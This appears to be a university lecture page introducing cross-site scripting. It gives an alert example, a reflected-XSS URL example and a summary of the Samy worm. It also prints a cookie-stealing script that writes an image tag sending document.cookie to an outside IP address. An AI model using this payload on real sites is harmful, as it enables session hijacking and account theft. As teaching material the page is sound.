Cross Site Scripting

• When you open this page, the following script was run:

  • <script> alert("Hello this is a message from a script");</script>
    

  • This is dynamic code or client side code.
  • It is run in your browser when the page loads.
  • This code, at least to some extent has access to information in the browser:
    • Show Cookies
  • They claim that it has access to far more information.
    • Especially in older versions of javascript.
    • Or older functions.
    • And more exploitable in some frameworks.
  • The following script is a little more evil

    • <script>
          document.write('<img src=http://147.64.242.52:5555?c='+ escape(document.cookie) + ' >');
      </script> 

    • Send Cookies
    • In show the browser errors. (CTRL-SHIFT-J in chrome)
    • This would work, but mirkwood is refusing these packets.
  • Cross Site inclusion
    • Many sites include cross site scripting.
    • This is where you embed a page from another site in your site.
  • They claim that this is common
    • A "window" that holds the forecast
    • The ability to search and stay on the page.
  • The attack
    • In the url add something like

      http://mirkwood.cs.edinboro.edu/~bennett/foo.html?search=<script>alert("helllo");</script>
                  

  • Interestingly the Samy worm used a similar method to attack social media.
    • Embed a javascript program in your profile.
      • This understands the URLs to update another user's profile.
      • And how to rewrite a profile page.
    • When someone views your page it uses XSS to update their profile.
      • The javascript above will run as them on their machine.
      • It will update their profile and add in the script
  • This worm
    • Had over a million users in the first 24 hours.
    • And won the author
      • Three years probation: only 1 computer and no internet access
      • 90 days community service
      • $15K fine.